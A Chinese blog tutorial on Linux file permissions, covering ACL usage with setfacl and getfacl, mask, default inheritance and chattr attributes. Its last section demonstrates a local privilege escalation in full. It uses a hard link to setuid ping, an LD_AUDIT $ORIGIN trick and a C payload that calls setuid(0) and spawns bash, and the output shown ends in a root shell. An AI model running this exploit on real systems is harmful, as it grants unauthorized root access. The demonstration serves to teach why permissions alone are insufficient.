文件高级权限

文件权限管理之四: ACL: UGO权限的扩展

UGO传统权限:只能一个用户,一个组和其他人

ACL设置基本权限:r,w,x

=ACL基本用法=

设置:

文件权限高级管理就玩的是acl访问控制列表

acl访问控制列表所存在的意义其实就是因为基本权限的不足

ACL:访问控制列表

ACE:访问控制项

以上它俩统称位ACL

setfacl:设置访问控制列表权限

getfacl:查看某个文件有没有扩展的权限

setfacl:删除组的权限

# setfacl -m u:alice:rw /home/test.txt //增加用户alice权限

u:alice:rw指的是UGO

u:指的是添加用户;如果换成g代表一个组;如果换成o代表不在列表中的用户拥有什么权限;意思就是还有其他人

alice:指的是用户名或者组名

rw:指的是权限

例如:

[root@server ~]# mkdir tomtest

[root@server ~]# cd tomtest/

[root@server tomtest]# touch abc.txt

[root@server tomtest]# ll

total 0

-rw-r--r-- 1 root root 0 Mar  3 15:20 abc.txt

当我们用ll查看一个文件的基本权限,如果以后看到文件的属性的时候权限是rw-r--r--;就代表它就没有扩展权限,没有多出来的访问控制列表权限

如果我们给一个文件设置扩展权限,那它属性会多一个加号,即rw-r--r--+;如果有加号,就代表后面还有更加细化的权限,就是访问控制列表的

[root@server tomtest]# setfacl -m u:tom:rwx abc.txt
[root@server tomtest]# ll
total 0
-rw-rwxr--+ 1 root root 0 Mar  3 15:20 abc.txt #就多了一个加号

那么扩展权限是什么?可以通过getfacl来查看
[root@server tomtest]# getfacl abc.txt
# file: abc.txt
# owner: root   #这是注释,指的是该文件的所有者是root
# group: root

user::rw-  #没有写任何用户的user就代表文件的所有者
user:tom:rwx
group::r--
mask::rwx
other::r--

[root@server tomtest]# useradd lucy
[root@server tomtest]# chown lucy abc.txt
[root@server tomtest]# getfacl abc.txt
# file: abc.txt
# owner: lucy 就改成了lucy
# group: root

user::rw- #这是所有者权限,其实这个权限写不写都可以,因为它有控制权限
user:tom:rwx #tom可以读写执行
group::r--
mask::rwx
other::r--

[root@master ~]# setfacl -x g:hr /home/test.txt  //删除组hr的权限
[root@master ~]# setfacl -b /home/test.txt  //删除所有acl权限
-x和-b的区别:
acl里面有很多用户,想删一个就用-x;只是剔除某一个列表的成员
-d是把所有的的权限给去掉;不但把所有列表的成员都移除了,还清除acl属性

[root@server tomtest]# getfacl abc.txt
+ getfacl abc.txt
# file: abc.txt
# owner: lucy
# group: root
user::rw-
user:tom:rwx
group::r--
mask::rwx
other::r--

[root@server tomtest]# setfacl -x u:tom abc.txt #删掉tom
[root@server tomtest]# getfacl abc.txt
+ getfacl abc.txt
# file: abc.txt
# owner: lucy
# group: root
user::rw-
group::r--
mask::r--
other::r--

setfacl-设置文件访问控制列表
-m #设置文件acl规则
-M #从文件读取访问控制列表条目更改
-x #删除文件的acl规则
-X #从文件读取访问控制列表条目并删除
-b # 删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留.
-k #删除缺省的acl规则。如果没有缺省规则,将不提示
--set=acl set the ACL of file(s),replacing the current ACL.-设置= ACL设置文件的ACL(S),取代目前的ACL。
--set-file=file readACL entries toset from file #从文件中读设置ACL规则.
--mask dorecalculate the effective rights mask #重新计算有效权限,即使ACL mask被明确指定.
-n #不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定
-d #设定默认的acl规则,针对目录而言
-R #递归的对所有文件及目录进行操作
-L #跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。
-P #跳过所有符号链接,包括符号链接文件
--restore=file restore ACLs(inverse of`getfacl-R') #从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行.
--test testmode(ACLs are notmodified) #测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出.
-v #版本.
-h #不用说肯定是帮助了.

getfacl
相关命令:setfacl,chaclgetfacl 2.2.51 -- 获取文件访问控制列表
使用方法: getfacl [-aceEsRLPtpndvh] 文件 ...
 -a, --access仅显示文件访问控制列表
 -d, --default 仅显示默认的访问控制列表
 -c, --omit-header 不显示注释表头
 -e, --all-effective 显示所有的有效权限
 -E, --no-effective 显示无效权限
 -s, --skip-base 跳过只有基条目(base entries)的文件
 -R, --recursive 递归显示子目录
 -L, --logical 逻辑遍历(跟随符号链接)
 -P, --physical 物理遍历(不跟随符号链接)
 -t, --tabular 使用制表符分隔的输出格式
 -n, --numeric显示数字的用户/组标识
 -p, --absolute-names 不去除路径前的 '/' 符号
 -v, --version显示版本并退出
 -h, --help 显示本帮助信息
帮助:

man setfacl
/EXAMPLES

=ACL高级用法=
mask:是acl中所有用户最大权限的上限
用于临时降低用户或组(除属主和其他人)的权限(这样比较抽像);可以自动增大,但是只能手动减小
作用是用来统一的来控制acl的上线;默认情况下是以一种水涨船高的形式来设置
水涨船高就是设置了ACL,整个ACL列表里面的成员谁的权限最大mask就是谁;用来代表整个ACL权限上限
建议:为了方便管理文件权限,其他人的权限置为空
我们可以通过调整mask权限的上限来临时降低某一个用户的权限

[root@server tomtest]# touch abc.txt
[root@server tomtest]# ll
total 0
-rw-r--r-- 1 root root 0 Mar  3 16:26 abc.txt
[root@server tomtest]# setfacl -m u:tom:rwx abc.txt #这是设置
[root@server tomtest]# ll
total 0
-rw-rwxr--+ 1 root root 0 Mar  3 16:26 abc.txt
一旦你的用户拥有了ACL权限,那你的所有主在显示的就不是所有主权限了,显示的是mask权限
[root@server tomtest]# setfacl -b abc.txt #这是清掉
[root@server tomtest]# ll
total 0
-rw-r--r-- 1 root root 0 Mar  3 16:26 abc.txt

当我们晚上在做备份的时候,如果用户继续上传文件,可能会导致备份数据不完整;为了解决这个问题, 我们就直接降低mask权限,将它降至最低,用户就只能读取文件,等我们备份完毕之后,在调整mask权限就可以

mask设置权限方法很简单,就是用-m;例如:

[root@server tomtest]# setfacl -m m::r-- abc.txt 用mask权限设置成只读

[root@server tomtest]# ll

total 0

-rw-r--r--+ 1 root root 0 Mar  3 16:26 abc.txt 现在就变成只读了

[root@server tomtest]# setfacl -m m::rwx abc.txt 用mask权限设置成读写执行,就是在将权限调回来

[root@server tomtest]# ll

total 0

-rw-rwxr--+ 1 root root 0 Mar  3 16:26 abc.txt 现在就变成读写执行了

default: 继承(默认)(就是向下继承ACL列表)
要求: 希望alice能够对/home以及以后在/home下新建的文件有读、写、执行权限
思路:
    步骤一: 赋予alice对/home读、写、执行权限
    [root@yangs ~]# setfacl -m u:alice:rwx /home
    步骤二: 赋予alice对以后在/home下新建的文件有读、写、执行权限 (使alice的权限继承)
    [root@yangs ~]# setfacl -m d:u:alice:rwx /home #凡是用d指定的,都会向下继承

[root@server ~]# cd /home/
[root@server home]# ls
albert  lucy  tom  tomtest
[root@server home]# cd tomtest/
[root@server tomtest]# setfacl -m d:u:albert:rw .
[root@server tomtest]# touch aabbcc.txt
[root@server tomtest]# ll
total 0
-rw-rw-r--+ 1 root root 0 Mar  3 17:16 aabbcc.txt
[root@server tomtest]# getfacl aabbcc.txt
# file: aabbcc.txt
# owner: root
# group: root
user::rw-
user:albert:rw-
group::r-x   #effective:r--
mask::rw-
other::r--

文件权限管理之五: 文件属性(权限)

注:设置文件属性(权限),针对所有用户,包括root 权限和属性不一样;

权限是可以设置读写执行的,而属性是与生俱来的,不可以设置

[root@server tomtest]# touch haha.txt

[root@server tomtest]# lsattr haha.txt  #lsattr是查看文件属性

-------------e- haha.txt #e前面有多少杠,就代表文件有多少种属性,一个杠就代表一种属性

[root@server tomtest]# chattr +a haha.txt #说明文件属性增加了追加的模式;-a代表的是减;只可以追加,不可以修改文件内容(用于日志文件)

[root@server tomtest]# chattr +i haha.txt #说明文档不能被改变内容,删除,改变名称(包括root也不可以);甚至建立硬链接(用于脚本文件)

                                                               #也就是文件变成只读得了

[root@server tomtest]# chattr +A haha.txt #-A的作用是不修改文件的最后访问时间 (用于网站首页文件)

接下来讲提权

权限可以设置的很严格,但是一旦系统出现了bug,有人通过普通用户提全成了root,那之前设置的东西都就前功尽弃了;因为安全里面一直强调了一点,就是木桶理论

例如:

[root@server tomtest]# su tom
[tom@server tomtest]$ ls -ld /tmp/
drwxrwxrwt. 13 root root 4096 Mar  3 17:59 /tmp/ #这个文件一般都会有的

[tom@server tomtest]$ cd /tmp/

[tom@server tmp]$ mkdir exploit #这个目录是开放的。任何人都可以在里面创建文件

$ ln /bin/ping /tmp/exploit/target#创建链接,用ping命令来测试的

$ exec 3< /tmp/exploit/target #用exec将创建链接的代码执行一下

$ ls -l /proc/$$/fd/3 #查看一下刚才执行过程里面释放的动态数据

lr-x------ 1 tom tom 64 Mar  3 18:04 /proc/56489/fd/3 -> /tmp/exploit/target

$  rm -fr /tmp/exploit/

$  ls -l /proc/$$/fd/3

lr-x------ 1 tom tom 64 Mar  3 18:04 /proc/56489/fd/3 -> /tmp/exploit/target (deleted)

$ cat > payload.c <<EOF #来写一段C代码

> void __attribute__((constructor)) init()

> {

>      setuid(0);

>     system("/bin/bash");

>  }

> EOF

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c 用C编译器来编译一下这段代码

$ ls -l /tmp/exploit

-rwxrwxr-x 1 tom tom 6020 Mar  3 18:10 /tmp/exploit

[tom@server tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

[root@server tomtest]#   自动变成root用户了
# id (当前用户已经变成零了)
uid=0(root) gid=0(root) groups=0(root)
由此证明一个编译器加一个/tmp/的漏洞,将之前设置细腻的文件给直接崩塌了

posted @ 2017-06-02 15:25  青牛怪  阅读(451)  评论(0编辑  收藏  举报